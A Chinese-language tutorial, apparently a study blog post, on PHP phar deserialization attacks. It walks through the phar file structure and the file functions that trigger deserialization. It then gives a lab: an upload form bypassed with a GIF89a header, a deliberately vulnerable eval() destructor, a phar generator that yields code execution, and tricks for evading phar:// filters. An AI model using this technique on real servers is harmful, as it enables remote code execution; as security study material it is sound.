Phar就是php的压缩文档

利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。

一般来说,文件操作都是可以触发phar反序列化的。

  • 可以上传Phar文件

    file_exists()fopen()file_get_contents()file()等文件操作的函数

  • 有可以利用的魔术方法

    __destruct()_wa keup()

  • 文件操作函数的参数可控,且/phar 字符未被过滤

phar结构

phar由四个部分组成,分别是stubmanifest describing the contentsthe file contents、 **[optional] a signature for verifying Phar integrity (phar file format only)**,以下是对详细的介绍:

  • stub

    格式为 xxx;<?php xxx; __HALT_COMPILER();?>

    前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar。

  • Manifest

    压缩文件的属性等信息,以序列化存储;

    phar文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data序列化信息也在这一部分中。是漏洞利用的关键点。

  • contents

    被压缩的文件,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

  • signature

    签名,放在文件末尾

文件函数

部分文件函数 通过phar://伪协议解析phar文件时都会使meta-data反序列化

受影响的函数有:

fileatime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode
fileowner fileperms is_dir is_file
is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink
stat readfile info_file

实验1

先生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //生成的phar文件,调用后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data = "da1sy";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

image-20200610134126768

  1. 可以看到$o的数据已经被序列化存储到phar.phar中了
  2. 然后使用phar流对 phar包进行反序列化
1
2
3
4
5
6
7
8
9
	<?php
class TestObject{
function __destruct()
{
echo $this -> data;
}
}
include('phar://phar.phar');
?>
  1. 输出信息

    image-20200610134405678

实验2

源码

Upload_file.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
phar反序列化
</head>
<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

Upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$tmp_file_location='';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
$tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>

file_un.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
?>

解析

  1. 从代码上可以看出是让上传一张gif的格式的文件,这点我们只要在phar的文件头加上GIF89a 即可绕过。

  2. 然后就是upload_un.php里的内容,因为file_exists函数会自动为phar文件进行反序列化,所以便会触发__destruct魔法函数,进而造成命令执行

    使用下面代码先生成phar文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
    eval($this -> output);
    }
    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $object = new AnyClass();
    $object -> output= 'phpinfo();';
    $phar -> setMetadata($object);
    $phar -> stopBuffering();
    ?>
  3. 文件头记得要以GIF89a开头,之后后缀改为gif以绕过对文件类型的限制
    image-20200610142439561

  4. 最后访问upload_un.php页面,并对filename传参如下:

    /file_un.php?filename=phar://upload_file/phar.gif

    image-20200610142604267

绕过对phar头的过滤

方法1

1
2
3
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);

方法2

1
2
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')

学习链接

  1. https://www.cnblogs.com/zzjdbk/p/13030571.html
  2. https://www.freebuf.com/column/198945.html